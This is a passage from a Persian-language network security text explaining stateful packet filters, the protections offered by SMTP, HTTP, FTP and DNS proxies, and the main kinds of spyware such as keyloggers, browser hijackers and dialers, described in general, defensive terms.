 توانـد سيسـتم عامـل مـورد اسـتفاده را نيـز        دارد، و آمادگي برقراري ارتباط دارد. بعلاوه، قالب پاسخ مي

منطـق يـك ارتبـاط     Stateful packetمشخص كند، و براي يك هكر گامي به جلو باشد. يك فيلتر 

TCP/IP  را مي فهمد و مي تواند يك“Reply”  را كه پاسخ به يك تقاضا نيست، مسدود كند ـــ آنچه

 مـي  Stateful packetتواند انجام دهد. فيلترهاي   ردگيري نمي كند و نمي packetكه يك فيلتر 

توانند در همان لحظه قواعدي را مبني بر اينكه بسته مورد انتظار در يك ارتباط عـادي چگونـه بايـد بنظـر     

رسد، براي پذيرش يا رد بسته بعدي تعيين كنند. فايده اين كار امنيت محكم تر است. ايـن امنيـت محكـم    

ارتباط بصورت پويا براي  نگاهداري ليست قواعد تر، بهرحال، تا حدي باعث كاستن از كارايي مي شود. 

  هر ارتباط و فيلتركردن ديتاي بيشتر، حجم پردازشي بيشتري به اين نوع فيلتر اضافه مي كند.

   

  Application Gatewaysپراكسي ها يا  11-2

Application Gateways   كه عموماً پراكسي ناميده مي شود، پيشرفته ترين روش استفاده شـده

از فايروال ها هستند. پراكسي بـين كلاينـت و سـرور قـرار مـي گيـرد و تمـام        براي كنترل ترافيك عبوري 

جوانب گفتگوي بين آنها را براي تاييد تبعيت از قوانين برقرار شده، مي سنجد. پراكسـي بـار واقعـي تمـام     

توانـد چيزهـايي را كـه سياسـتهاي امنيتـي را       هاي عبوري بين سرور و كلاينت را مي سنجد، و مـي    بسته

هـا را مـي   headerكنند، تغيير دهد يا محروم كند. توجه كنيـد كـه فيلترهـاي بسـته هـا فقـط         مينقض 

سنجند، در حاليكه پراكسي ها محتواي بسته را با مسدود كـردن كـدهاي آسـيب رسـان همچـون فايلهـاي       

  و ... غربال مي كنند. ActiveXاجرايي، اپلت هاي جاوا، 

  نان از اينكـه بـا اسـتانداردهاي پروتكـل مطابقـت دارنـد، مـي       پراكسي ها همچنين محتوا را براي اطمي

سنجند. براي مثال، بعضي اشَكال حمله كامپيوتري شامل ارسال متاكاراكترها براي فـريفتن سيسـتم قربـاني    

است؛ حمله هاي ديگر شامل تحت تاثير قراردادن سيستم با ديتاي بسيار زياد است. پراكسي ها مي تواننـد  
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قانوني يا رشته هاي خيلي طولاني را مشخص و مسدود كننـد. بعـلاوه، پراكسـي هـا تمـام      كاراكترهاي غير

اعمال فيلترهاي ذكرشده را انجام مي دهند. بدليل تمام اين مزيتها، پراكسي ها بعنـوان يكـي از امـن تـرين     

را كل بسته روشهاي عبور ترافيك شناخته مي شوند. آنها در پردازش ترافيك از فايروالها كندتر هستند زي

  بودن يك عبارت نسبي است. » كندتر«ها را پيمايش مي كنند. بهرحال 

آيا واقعاً كند است؟ كارايي پراكسي بمراتـب سـريعتر از كـارايي اتصـال اينترنـت كـاربران خـانگي و        

سازمانهاست. معمولاً خود اتصال اينترنت گلوگاه سرعت هر شبكه اي اسـت. پراكسـي هـا باعـث كنـدي      

يك در تست هاي آزمايشگاهي مي شوند اما باعث كندي سرعت دريافت كاربران نمي شوند. سرعت تراف

  در شماره بعد بيشتر به پراكسي خواهيم پرداخت.

هـا متمـايز    دهـيم و پراكسـي را از فيلتركننـده بسـته     ها، ما مفهومي از پراكسي ارائه مي در مقايسه فايروال

هـا بعنـوان ابـزاري     توانيم در اينجا مزاياي پراكسـي  كرديم، ميبيان اي كه از پراكسي  زمينه كنيم. با پيش مي

  براي امنيت را ليست كنيم:

تـر   كـردن شـبكه شـما را مشـكل     هـا، هـك   هاي معمـول مـورد اسـتفاده در حملـه     با مسدود كردن روش   ·

  كنند. مي

تـر   ا را مشـكل كـردن شـبكه شـم    با پنهان كردن جزئيات سرورهاي شبكه شما از اينترنت عمومي، هـك    ·

  كنند. مي

با جلوگيري از ورود محتويات ناخواسته و نامناسب به شبكه شما، استفاده از پهناي باند شبكه را بهبـود     ·

  بخشند. مي

شروعي براي حمله ديگر، از ميـزان ايـن     با ممانعت از يك هكر براي استفاده از شبكه شما بعنوان نقطه   ·

  كاهند. نوع مشاركت مي

اي اسـتفاده   تواننـد بطـور گسـترده    هايي براي مدير شبكه شما كـه مـي   فرض آوردن ابزار و پيش فراهمبا    ·

  توانند مديريت شبكه شما را آسان سازند. شوند، مي
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تـان را بـا    كنند كه شـبكه  ها به شما كمك مي توان اين مزايا را اينگونه بيان كرد؛ پراكسي بطور مختصر مي

تر مورد استفاده قرار دهيد. بهرحال در ارزيابي يك فايروال، ايـن مزايـا بـه     تصاديامنيت بيشتر، موثرتر و اق

  طلبند.  شوند كه توجه جدي را مي فوايد اساسي تبديل مي

  
  برخي انواع پراكسي 11-3

راكسي بصورت يك كلاس عمومي تكنولوژي پرداختيم. در واقع، انواع مختلف پراكسي تا كنون به پ

وجود دارد كه هركدام با نوع متفاوتي از ترافيك اينترنت سروكار دارند. در بخش بعـد بـه چنـد نـوع آن     

  كند. اي مقاومت مي دهيم كه هركدام در مقابل چه نوع حمله كنيم و شرح مي اشاره مي

هـا و سـاير ابـزار مـديريت      هـاي زيـادي دارنـد. تركيـب پراكسـي      ا تنظيمـات و ويژگـي  ه البته پراكسي

دهـد. در ادامـه بـه     ها به مديران شبكه شما قدرت كنترل امنيت شـبكه تـا بيشـترين جزئيـات را مـي      فايروال

  هاي زير اشاره خواهيم كرد: پراكسي

·   SMTP Proxy  

·   HTTP Proxy  

·   FTP Proxy  

·   DNS Proxy  
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11-3-1SMTP Proxy 

هاي وارد شونده و  ) محتويات ايميلSMTP )Simple Mail Transport Protocolپراكسي  

كند. بعضـي از تواناييهـاي آن اينهـا     شونده را براي محافظت از شبكه شما در مقابل خطر بررسي مي خارج

  هستند:

سـطح دفـاع عليـه اسـپم      : ايـن اولـين  كننـدگان پيـام   مشخص كردن بيشترين تعداد دريافـت    ·

  شود. كننده ارسال مي (هرزنامه) است كه اغلب به صدها يا حتي هزاران دريافت

كنـد تـا از بـار اضـافي و      اين به سـرور ايميـل كمـك مـي     مشخص كردن بزرگترين اندازه پيام:   ·

نـد و منـابع   توانيـد بـه درسـتي از پهنـاي با     حملات بمباران توسط ايميل جلوگيري كند و با اين ترتيب مـي 

  سرور استفاده كنيد.

اجازه دادن به كاراكترهاي مشخص در آدرسهاي ايميل آنطور كه در استانداردهاي    ·

هـا بسـتگي بـه ارسـال كاراكترهـاي       چنانچه قبلاً اشاره شد، بعضي حملـه  اينترنت پذيرفته شده است:

بـه كاراكترهـاي مناسـب بـه بقيـه       تواند طوري تنظيم شود كه بجز غيرقانوني در آدرسها دارد. پراكسي مي

  اجازه عبور ندهد.

تـرين روش ارسـال    معمول فيلتركردن محتوا براي جلوگيري از انواعي محتويات اجرايي:   ·

 SMTPضـرر ايميـل اسـت. پراكسـي      هاي به ظاهر بي ويروس، كرم و اسب تروا فرستادن آنها در پيوست

نام و نوع، مشـخص و جلـوگيري كنـد، تـا آنهـا هرگـز بـه        ها را در يك ايميل از طريق  تواند اين حمله مي

  شبكه شما وارد نشوند.
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هر ايميل شامل آدرسي اسـت  مردود: \هاي مقبول فيلتركردن الگوهاي آدرس براي ايميل   ·

دهنده منبع آن است. اگر يك آدرس مشخص شبكه شـما را بـا تعـداد بيشـماري از ايميـل مـورد        كه نشان

تواند هـر چيـزي از آن آدرس اينترنتـي را محـدود كنـد. در بسـياري مـوارد،         ميحمله قرار دهد، پراكسي 

تواند تشخيص دهد چه موقع يك هكر آدرس خود را جعل كـرده اسـت. از آنجـا كـه پنهـان       پراكسي مي

تواند طوري تنظيم شود كـه بطـور خودكـار     كردن آدرس بازگشت تنها دلايل خصمانه دارد، پراكسي مي

  ود كند.ايميل جعلي را مسد

ها شامل ديتاي انتقال مانند اينكـه ايميـل از طـرف    Header  هاي ايميل:Headerفيلتركردن    ·

بـراي   Headerهـاي زيـادي بـراي دسـتكاري اطلاعـات       كيست، براي كيست و غيره هستند. هكرها راه

نترنتي صحيح هاي اي ها با پروتكلHeaderشود كه  اند. پراكسي مطمئن مي حمله به سرورهاي ايميل يافته

كنند. پراكسي بـا اعمـال    داده را مردود مي هاي تغييرشكلheaderهاي دربردارنده  تناسب دارند و ايميل

  هاي آتي را نيز مسدود كند. تواند برخي حمله سختگيرانه استانداردهاي ايميل نرمال، مي

فرسـتيد نيـز    ه شما ميهايي ك ايميلها:  هاي پيامIDكردن نامهاي دامنه و  تغييردادن يا پنهان   ·

هسـتند. ايـن ديتـا بـيش از آنچـه شـما        headerكنيـد، دربردارنـده ديتـاي     مانند آنهايي كه دريافت مـي 

توانـد   مـي  SMTPخواهيد ديگران درباره امور داخلي شبكه شما بدانند، اطلاعات دربردارند. پراكسي  مي

ا اطلاعـات كمـي در اختيـار هكرهـايي قـرار      بعضي از اين اطلاعات را پنهان كند يا تغيير دهد تا شبكه شم

  گردند. دهد كه براي وارد شدن به شبكه شما دنبال سرنخ مي

 )3امنيت شبكه ( كاربرد پراكسي در 

   

 SMTPپراكسي و  مقايسه پراكسي و فايروال، پراكسي سروربه  در خصوص پراكسي قبل مطالب در 

  پرداختيم. به بررسي انواع ديگر پراكسي مي پردازيم:

  



 

 

١١٨

١١٨

11-3-2HTTP Proxy  

سط كاربرانتان براي دسترسي اين پراكسي بر ترافيك داخل شونده و خارج شونده از شبكه شما كه تو

نظارت مي كند. اين پراكسي براي مراقبت از كلاينت هاي وب   ايجاد شده، World Wide Webبه 

، HTMLشما و ساير برنامه ها كه به دسترسي به وب از طريق اينترنت متكي هستند و نيز حمـلات برپايـه   

  د:محتوا را فيلتر مي كند. بعضي از قابليتهاي آن اينها هستن

را كـه    headerاين پراكسي مي تواند آن قسمت از ديتاي برداشتن اطلاعات اتصال كلاينت:    ·

نسخه سيستم عامل، نام و نسخه مرورگر، حتي آخرين صفحه وب ديده شده را فاش مي كند، بـردارد. در  

  بعضي موارد، اين اطلاعات حساس است، بنابراين چرا فاش شوند؟

در بسـياري از حملـه    از استانداردهاي مقررشده براي ترافيك وب: تحميل تابعيت كامل    ·

ها، هكرها بسته هاي تغييرشكل داده شده را ارسال مي كنند كه باعث دستكاري عناصر ديگر صـفحه وب  

مي شوند، يا بصورتي ديگر با استفاده از رويكردي كه ايجادكنندگان مرورگـر پـيش بينـي نمـي كردنـد،      

اين اطلاعات بي معني را نمي پذيرد. ترافيك وب بايد از اسـتانداردهاي   HTTPي وارد مي شوند. پراكس

  وب رسمي پيروي كند، وگرنه پراكسي ارتباط را قطع مي كند.

به مرورگر وب كمك مـي كننـد تـا     MIMEالگوهاي :  MIMEفيلتركردن محتواي از نوع     ·

 wav.بصورت يك گرافيك رفتار شـود، يـا   بداند چگونه محتوا را تفسير كند تا با يك تصويرگرافيكي 

فايل بعنوان صوت پخش شود، متن نمايش داده شود و غيره. بسياري حمله هاي وب بسته هايي هستند كه 

اين  HTTPخود دروغ مي گويند يا الگوي آن را مشخص نمي كنند. پراكسي  MIMEدر مورد الگوي 

  ي را متوقف مي كند.فعاليت مشكوك را تشخيص مي دهد و چنين ترافيك ديتاي

بـراي ايجـاد    ActiveXو  Javaبرنامه نويسان از : ActiveXو  Javaفيلتركردن كنترلهاي    ·

برنامه هاي كوچك بهره مي گيرند تا در درون يك مرورگر وب اجراء شوند (مثلاً اگر فردي يك صفحه 

صـفحه مـي توانـد    روي آن  ActiveXوب مربوط به امور جنسي را مشاهده مـي كنـد، يـك اسـكريپت     
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بصورت خودكار آن صفحه را صفحه خانگي مرورگر آن فرد نمايد). پراكسي مي تواند اين برنامـه هـا را   

  به اين ترتيب جلوي بسياري از حمله ها را بگيرد. مسدود كند و 

مي تواند جلوي ورود تمام كوكي ها را بگيرد تـا اطلاعـات    HTTPپراكسي  برداشتن كوكي ها:    ·

  بكه شما را حفظ كند.خصوصي ش

ــتن    · ــناس: Headerبرداش ــاي ناش ــي  ه ــاي header، از  HTTPپراكس ــه از  HTTPه ك

استاندارد پيروي نمي كنند، ممانعت بعمل مي آورد. يعني كه، بجاي مجبور بودن به تشخيص حملـه هـاي   

اين رويكرد ساده از  برپايه علائمشان، پراكسي براحتي ترافيكي را كه خارج از قاعده باشد، دور مي ريزد.

  شما در مقابل تكنيك هاي حمله هاي ناشناس دفاع مي كند.

دادگاه ها مقرركرده اند كه تمام كارمندان حق برخورداري از يك محيط كاري  فيلتركردن محتوا:   ·

غير خصمانه را دارند. بعضي عمليات تجاري نشان مي دهد كه بعضي موارد روي وب جايگاهي در شبكه 

سياست امنيتي شركت شما را وادار مي كند كه توجـه كنـد چـه     HTTPكت ها ندارند. پراكسي هاي شر

محتوياتي مورد پذيرش در محيط كاريتان است و چه هنگام استفاده نامناسب از اينترنـت در يـك محـيط    

مـي توانـد سسـتي ناشـي از فضـاي       HTTPكاري باعث كاستن از بازده كاري مي شود. بعلاوه، پراكسي 

بر را كم كند. گروه هاي مشخصي از وب سايتها كه باعث كم كردن تمركز كارمندان از كارشان مـي  ساي

  شود، مي توانند غيرقابل دسترس شوند.

11-3-3FTP Proxy   

بسياري از سازمان ها از اينترنت براي انتقال فايل هاي ديتاي بزرگ از جايي به جـايي ديگـر اسـتفاده مـي     

اي كوچك تر مي توانند بعنوان پيوست هاي ايميل منتقل شوند، فايل هاي بزرگ كنند. در حاليكه فايل ه

 FTPفرسـتاده مـي شـوند. بـدليل اينكـه سـرورهاي        FTP (File Transfer Protocol)تر توسـط  

فضايي را براي ذخيره فايل ها آماده مي كنند، هكرها علاقه زيـادي بـه دسترسـي بـه ايـن سـرورها دارنـد.        

   اين امكانات را دارد:معمولاً FTPپراكسي 
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اين عمل به شما اجـازه مـي دهـد كـه     »: فقط خواندني«محدودكردن ارتباطات از بيرون به    ·

  فايل ها را در دسترس عموم قرار دهيد، بدون اينكه توانايي نوشتن فايل روي سرورتان را بدهيد.

نوشـتن فايـل هـاي     ايـن عمـل از    »: فقـط خوانـدني  «محدود كردن ارتباطات به بيرون به    ·

  خارج از شبكه داخلي توسط كاربران جلوگيري مي كند. FTPمحرمانه شركت به سرورهاي 

اين عمل به سرور شما اجازه مي دهد كه قبـل  مشخص كردن زماني ثانيه هاي انقضاي زماني:    ·

  ارتباط را قطع كند.  Idle requestاز حالت تعليق و يا 

اين از حمله هايي جلـوگيري مـي كنـد كـه طـي آن هكـر       :  FTP SITEازكارانداختن فرمان    ·

   كندبعدي خودش را پايه ريزي مي فضايي از سرور شما را تسخير مي كند تا با استفاده از سيستم شما حمله
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11-3-4DNS Proxy  

DNS (Domain Name Server)  شايد به اندازهHTTP   ياSMTP  شناخته شده نيست، اما

در   http://www.ircert.comچيزي است كه به شما اين امكـان را مـي دهـد كـه نـامي را ماننـد       

اينكـه از كجـاي دنيـا بـه اينترنـت       بدون توجه بـه  –مرورگر وب خود تايپ كنيد و وارد اين سايت شويد 

نام  DNSمتصل شده ايد. بمنظور تعيين موقعيت و نمايش منابعي كه شما از اينترنت درخواست مي كنيد، 

هايي كه كامپيوترها قـادر بـه درك    IPهاي دامنه هايي را كه مي توانيم براحتي بخاطر بسپاريم به آدرس 

پايگاه داده است كه در تمـام اينترنـت توزيـع شـده اسـت و      تبديل مي كند. در اصل اين يك  آن هستند، 

  دامنه ها فهرست شده است. توسط نام 

بهرحال، اين حقيقت كه اين سرورها در تمام دنيا با مشغوليت زياد در حال پاسخ دادن به تقاضاها براي 

كـردن آنهـا مـي    صفحات وب هستند، به هكرها امكان تعامل و ارسال ديتا به اين سـرورها را بـراي درگير  

هنوز خيلي شناخته شده نيستند، زيرا به سطحي از پيچيدگي فني نيـاز دارنـد    DNSدهد. حمله هاي برپايه 

كه بيشتر هكرها نمي توانند به آن برسند. بهرحال، بعضي تكنيك هاي هك كه ميشناسيم باعث مي شـوند  

  ي تواند موارد زير باشد:م DNSهكرها كنترل كامل را بدست گيرند. بعضي قابليت هاي پراكسي 

را  Transportيك كلاس تكنيكي بالاي اكسپلويت مي تواند لايـه  تضمين انطباق پروتكلي:    ·

را انتقال مي دهد به يك ابـزار خطرنـاك تبـديل كنـد. ايـن نـوع از         DNSكه تقاضاها و پاسخ هاي 

يجـاد مـي كننـد. پراكسـي     حمله ها بسته هايي تغييرشكل داده شده بمنظور انتقال كـد آسـيب رسـان ا   

DNS ،header هاي بسته هايDNS        را بررسي مي كنـد و بسـته هـايي را كـه بصـورت ناصـحيح

  ساخته شده اند دور مي ريزد و به اين ترتيب جلوي بسياري از انواع سوء استفاده را مي گيرد.

 ايجـاد شـده و از   1984در سال  DNS ها بصورت گزينشي:headerفيلتركردن محتواي    ·

بر ويژگي هايي تكيه مي كنند كـه هنـوز تاييـد     DNSآن موقع بهبود يافته است. بعضي از حمله هاي 

ــي   ــد. پراكس ــده ان ــواي   DNSنش ــد محت ــي توان ــاهاي  headerم ــد و   DNSتقاض ــي كن را بررس

  غيرعادي دارند، مسدود كند. headerتقاضاهايي را كه كلاس، نوع يا طول 
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  نتيجه گيري

هنگامي كه بـا سـاير امنيـت سـنج هـا! ماننـد        . پراكسي تمام ابزار امنيت نيست، اما يك ابزار عاليست، 

  . ضدويروس هاي استاندارد، نرم افزارهاي امنيتي سرور و سيستم هاي امنيتي فيزيكي بكار برده شود

  

 افزارهاي جاسوسي و مقابله با آنها  نرم -12

  افزار جاسوسي چيست؟ نرم 12-1
هاي مختلف زيادي بـدون   حتما تاحالا برايتان پيش آمده است كه در حال كار با اينترنت ناگهان پنجره

نام دارند و وقت زيادي را بايد براي بستن آنها  popup windowsشوند كه اصطلاحا  ميل شما باز مي

ويـد! ايـن مطلـب بـه شـما كمـك        حوصله باشيد سريعا از كـوره در ميـر   صرف كنيد. اگر در آن موقع كم

  آيند. هاي مزاحم از كجا مي كند كه متوجه شويد اين پنجره مي

آوري  روي كامپيوتر شماست كه اطلاعات را بطور پنهاني جمع  افزار جاسوسي هر نوع فناوري يا برنامه نرم

شود. نوع اطلاعـاتي كـه    مند فروخته مي هاي علاقه كنندگان يا به ساير گروه سپس به تبليغكند. اين ديتا  مي

افزارهاي جاسوسي فقط اطلاعـات سيسـتمي    شود متفاوت است. بعضي نرم آوري مي از كامپيوتر شما جمع
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افزارهـاي   نـرم  عامل كامپيوترتـان . بقيـه   مانند نوع اتصال شما به اينترنت و سيستم –كنند  شما را رديابي مي

كنند ـ مانند ردگيري عادات و علائق شـما در هنگـام كـار بـا        آوري مي جاسوسي اطلاعات فردي را جمع

افزار جاسوسي بدون رضايت و اجـازه   اينترنت و يا گاهي بدتر، با فايلهاي شخصي شما سروكار دارند. نرم

ا بدهيـد، ديگـر نـام ايـن عمـل      آوري ديتـا ر  گردد. (چنانچه به يـك شـركت اجـازه جمـع     كاربر نصب مي

  جاسوسي نيست، بنابراين هميشه قبل از اجازه دادن، موارد افشاي ديتا بصورت آنلاين را با دقت بخوانيد).

كنـد تـا جاييكـه     افـزاري را ردگيـري مـي    بعضي افراد به جاسوسي عمـومي كـه گرايشـات اينترنتـي و نـرم     

ند. اما بقيه بـه هـر نـوع ديتـايي كـه بـدون اجـازه از        اطلاعات مشخصه فردي را شامل نشود، اعتراضي ندار

آوري  افزار يا ابزاري كه اين اطلاعات را جمـع  شود، معترض هستند. بهرحال، نرم كامپيوترشان برداشته مي

  شود.  افزار جاسوسي ناميده مي كند، نرم مي

ن يـك ايميـل بـه    سايت، ديـد  تواند با مشاهده يك وب افزار جاسوسي روي كامپيوتر شما مي نصب نرم

) آغاز شود. روند دانلود به شما اطـلاع  pop-upكردن يك پنجره بازشونده ( يا با كليك HTML فرمت 

اطـلاع   افـزار جاسوسـي شـده اسـت، بـي      شود، بنابراين شما از اينكه كامپيوترتان پذيراي يك نـرم  داده نمي

  خواهيد ماند. 

  افزارهاي جاسوسي تولد نرم 12-2
هـايي بـود كـه در    bannerافزارهـاي جاسوسـي تبليـغ اينترنتـي از طريـق قـرار دادن        قبل از ظهور نرم

صفحات وب قابل مشاهده بود (البته هنوز هـم وجـود دارنـد)، و كـاربران بـا كليـك كـردن روي آنهـا از         

يافتند. امـا بتـدريج كـاربران از ايـن نحـو تبليـغ خسـته         شده به دلخواه آگاهي مي اطلاعات يا خدمات ارائه

كنندگان در حال ورشكستگي بودند، زيرا ميـزان درآمـد آنهـا متناسـب بـا       بودند و به اين ترتيب تبليغ شده

  دادند. سايت خود قرار مي ميزان كليك از طرف بازديدكنندگان بر روي تبليغاتي بود كه بر روي وب

اشند، مجبور به تغيير خواهند از طريق اينترنت درآمد داشته ب كنندگان دريافتند كه اگر همچنان مي تبليغ

تاكتيكهايشان هستند. بسياري از آنها دريافت خود را بر اساس ميـزان واقعـي فـروش قـرار دادنـد. بقيـه بـه        

راههاي جديد تبليغ فكر كردند. آنها به روشي تازه رسيدند كه به آنهـا اجـازه تبليـغ محصـولات را بـدون      

  افزارهاي جاسوسي پديد آمدند. يب نرمداد و به اين ترت دهنده مي سايت يا سرويس داشتن وب
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تـري!   هاي كثيـف  ها به حقه گرفت، اما بعده هاي رايگان قرار مي افزار جاسوسي در دل برنامه در ابتدا نرم

افـزار جاسوسـي روي كامپيوترهاسـت.     هاي هكري براي نصب نرم رو آوردند و آن استفاده از سوءاستفاده

تـان   افزار جاسوسي روي سيسـتم  كنيد شانس شما براي داشتن نرم ه ميهاي عامل رايج استفاد اگر از سيستم

توان ادعا كرد كه بسياري از كـاربران خـانگي بـر روي كـامپيوتر خـود جاسـوس!        يشتر است. براحتي ميب

  دارند. 

  

  

  

  

  انواع نرم افزارهاي جاسوسي12-3
همانطور كه گفته شد، نرم افزار جاسوسـي هـر نـوع نـرم افـزاري      

لاعات را از يك كامپيوتر بدون آگاهي كاربر بدست ميـاورد. انـواع زيـادي از ايـن نـوع نـرم       است كه اط

  افزارها در اينترنت فعال هستند اما ميتوان آنها را به دو گروه عمده تقسيم كرد:

  )Domestic Spywareافزار جاسوسي خانگي ( نرم 12-3-1
نظور آگاهي يافتن از تاثيرات اينترنت بـرروي  افزاري است كه معمولا توسط صاحبان كامپيوترها بم نرم

شبكه هاي كامپيوتري خودشان، خريداري و نصب مي گردد. مديران از ايـن نـرم افـزار بـراي آگـاهي از      

فعاليتهاي آنلاين كارمندان استفاده مي كنند. بعضي افراد نيز براي اطلاع از فعاليتهاي ساير اعضاء خـانواده  

اهده محتويات اتاقهاي گفتگو توسط والديني كه كودكانشان در آنهـا شـركت   استفاده مي كنند (مانند مش

  مي كنند)

افزار جاسوسي را بدون آگاهي صاحب كامپيوتر نصب كند. مجريان  يك شخص ثالث نيز مي تواند نرم

قانون از نرم افزارهاي جاسوسي براي آگاهي يافتن از فعاليت مجرماني اسـتفاده ميكننـد كـه ايـن مجرمـان      

د از همين نرم افزارهاي جاسوسي بـراي حصـول اطلاعـات از كامپيوترهـاي شخصـي بـه قصـد دزدي        خو

  اند. ها استفاده كرده دارايي
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   )Commercial Spywareنرم افزار جاسوسي تجاري ( 12-3-2
افـزاري اسـت كـه شـركتها بـراي تعقيـب        شـود، نـرم   نيز شـناخته مـي   adwareافزار كه بعنوان  اين نرم

وبگردي كاربران اينترنت استفاده مي كنند. اين شركتها اغلب اطلاعات حاصل را بـه بازاريابـان   فعاليتهاي 

منظـور تبليغـاتي اسـت كـه بـا        -دهند  مي فروشند و آنها كاربران را با تبليغات خاص مورد هدف قرار مي

  علائق كاربر مطابقت دارد و به احتمال زياد براي وي جذاب است.

شود. سابقا، بازاريابان براي  كنندگان مي به اين سادگي موجب خوشحالي تبليغ بدست آوردن اطلاعات

فهميدن علائق افراد بايد آنها را از طريق برگزاري مسابقات يا موارد مشابه تطميع مي كردند. آن روشهاي 

كســب اطلاعــات شخصــي هنــوز وجــود دارد، امــا در آن روشــها قــدرت خوانــدن و اطــلاع از سرنوشــت 

هـاي شـما    شخصي و پذيرفتن يا نپذيرفتن آنها توسط افراد وجود دارد. بهرحال، اطـلاع از سـليقه  اطلاعات 

بصورت پنهاني با استفاده از نرم افزارهاي جاسوسي بسيار آسانتر است و تصوير بسيار كاملتري بـه صـنعت   

  ستند.بازايابي ارائه مي كند. در كل مي توان ادعا كرد كه نرم افزارهاي جاسوسي همه جا ه

  افزارهاي جاسوسي مختلف انواع و اهداف نرم12-4
هرچه نباشد، حـداقل يـك عامـل آزاردهنـده اسـت كـه سـرعت كـامپيوتر را كـم           افزار جاسوسي نرم 

كننـدگان تبـديل    دفي براي تبليغكند و كامپيوتر شما را به ه جهت پر مي كند، هاردديسك سيستم را بي مي

توانـد بعنـوان ابـزاري بـراي      افـزار جاسوسـي مـي    كند. فراتر از آگاهي از اطلاعات خصوصي شما، نـرم  مي

افزارهـاي   جرائمي مانند تقلب در شناسايي مورد استفاده قرار گيرد. در ادامه ليسـتي از انـواع مختلـف نـرم    

  شود. جاسوسي و هدفشان ارائه مي

  هاي وب و صفحات نمايش كنندگان نشاني ثبت -12-4-1
كننـدگان   كننـد. ثبـت   شـده را رديـابي مـي    سـايتها و صـفحات ديـده    هـاي وب، وب  كنندگان نشاني ثبت

كـردن حجـم تصـوير) از صـفحه      وسـفيد كوچـك (بـراي كـم     توانند يـك تصـوير سـياه    نمايش مي صفحه

شما ذخيره يا ارسال كنند. اين روشها براي روي شما در هر زمان بگيرند و اين تصاوير را بدون اطلاع  پيش

  هاي خانگي متداول هستند. جاسوسي

  گان چت و ايميل كنند ثبت 12-4-2
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كننـد.   شـونده و چتهـا تهيـه مـي     يك كپي متني از تمام ايميلهاي واردشونده و خارج  كنندگان اين ثبت

  كند. خانگي به كرات از اين روش استفاده مي  يك جاسوس

  ندگان كليد و كلمات عبوركن ثبت 12-4-3
هنگامي كه شما مشغول كار با كامپيوتر هستيد، يك نفـر بـالاي سـر شـما ايسـتاده اسـت و اعمـال شـما را         

كند.  شده را ردگيري مي كند يعني كلمات عبور تايپ كننده كلمه عبور اين كار را مي كند! ثبت نظارت مي

  كند. ثبت مي شود، كننده كليد تمام آنچه را كه تايپ مي اما ثبت

  

  حشرات وبي! 12-4-4
شوند. هنگامي كه شما چنـين   افزارهاي تبليغ شناخته مي كننده يا نرم حشرات وبي بعنوان جاسوسان تبليغ

از انجام بعضي كارها، مانند تايپ كردن عباراتي در يك موتور  افزاري روي كامپيوتر خود داريد، بعد نرم

كنيـد. ايـن    تبليغاتي خاصي را مرتبط با عناوين مورد جسـتجو دريافـت مـي     هاي بازشونده جستجو، پنجره

توانند زماني كه به اينترنت متصل نيستيد، بـر روي صـفحه شـما ظـاهر شـوند. اگـر        تبليغات حتي گاهي مي

ار صفحات تبليغاتي قرارداريد، احتمالا يك حشره وبي بر روي كامپيوتر شما نصب شده بطور پيوسته زيرب

  است.

  مرورگر ربايان! 12-4-5
افزارهـاي جاسوسـي    گيرنـد ـ كـاربران نـرم     ها كامپيوتر شما را براي استفاده خودشان بخدمت مي بعضي

اينترنت شما، بربايند!!! به اين معني  دهدهن هايشان از طريق سرويس توانند اتصال شما را براي ارسال اسپم مي

تواند هزاران ايميل اسپمي را از طريق اتصال كامپيوترتـان بـه اينترنـت و آدرس     ساز انگل مي كه يك اسپم

ISP    شما، ارسال كند. دسترسيهاي با سرعت و حجم بالا به اينترنت معمولا هدف اين نوع كـاربران قـرار
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شوند كه از اعتبـار آنهـا سوءاسـتفاده شـده اسـت، تـا اينكـه بـه خـاطر           نمي گيرند. اغلب قربانيان متوجه مي

  اينترنت اتصالشان را قطع كند. دهنده ها، سرويس شكايت عليه اسپم

  مودم ربايان! 12-4-6
مـرام! ممكـن اسـت     كنيد، يك فرد بـي  اگر براي اتصال به اينترنت از يك مودم و خط تلفن استفاده مي

ر آنلاين براي برقراري يك اتصال جديد اينترنـت بـر روي كـامپيوتر شـما نصـب      گي قادر باشد يك شماره

كند. اين اتصال ممكن است يك اتصال راه دور با هزينه بالا باشد. هنگامي كه قبض تلفن بدستان ميرسد، 

افزارهاي جاسوسي اغلب داخـل اسـپم و ايميلهـاي مربـوط بـه امـور        به شما شك وارد خواهد شد. اين نرم

گيـر شـود. ايـن افـراد      قرار دارند. بازكردن ايميل ميتواند بصورت سهوي باعث آغاز نصـب شـماره  جنسي 

كنند كه شما قبض تلفن را قبـل از   گيريشان كار آساني نيست، روي اين حقيقت حساب مي بدذات! كه پي

  كنيد. اينكه فرصت پيگيري داشته باشيد، پرداخت مي

12-4-7 PC !ربايان  
PCيربايان ميانبرها(shortcuts)  اينترنتي را در فولدرFavorites  شما بدون خبردادن به خودتان

سايتشـان ديـدن كنيـد و بـه ايـن       شوند كه بسياري بطـور اتفـاقي از وب   قرار ميدهند. اين ميانبرها باعث مي

غ برند. اين اتفـاق بـه آنهـا اجـازه دريافـت مبـال       ترتيب بصورت تصنعي آمار ترافيك سايت خود را بالا مي

شده آن در واقع زمان و پهناي باندي اسـت   دهد كه هزينه پرداخت بيشتري را بابت تبليغات در سايتشان مي

 Fovoritesشود. ممكن است بتوانيد با تغيير انتخابهاي اينترنت خود از دسـت ايـن    كه از شما گرفته مي

پـاك كـردن آنهـا از داخـل     كاذب رها شويد، اما گاهي تنها راه خلاص شدن از شر اين لينكهاي مـزاحم  

افزار جاسوسي طـوري طراحـي شـده باشـد كـه بـا هـر بـار          رجيستري است. بهرحال، ممكن است اين نرم

اندازي مجدد كامپيوتر خودش را در داخل رجيستري قرار دهد. تنها راه حل پيش پاي شما براي كشتن  راه

از يك برنامه ضدجاسوس بسيار قدرتمند اين نوع جاسوس متجاوز! فرمت كردن هارد كامپيوتر يا استفاده 

  است.
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  ها ترواها و ويروس-12-4-8

افزار براي سوءاستفاده  مانند اسب چوبي تروا كه يونانيان براي ورود به شهر تروا استفاده كردند، اين نرم

د. ضرر درمياورد. ديتاي شما ممكن است كپي، توزيع يا تخريب شو از كامپيوتر شما، خود را به شكلي بي

ويروس نيز مشابه تروا است بـا ايـن تفـاوت كـه قـدرت ايجـاد شـبيه خـود را دارد تـا باعـث خسـارت بـه             

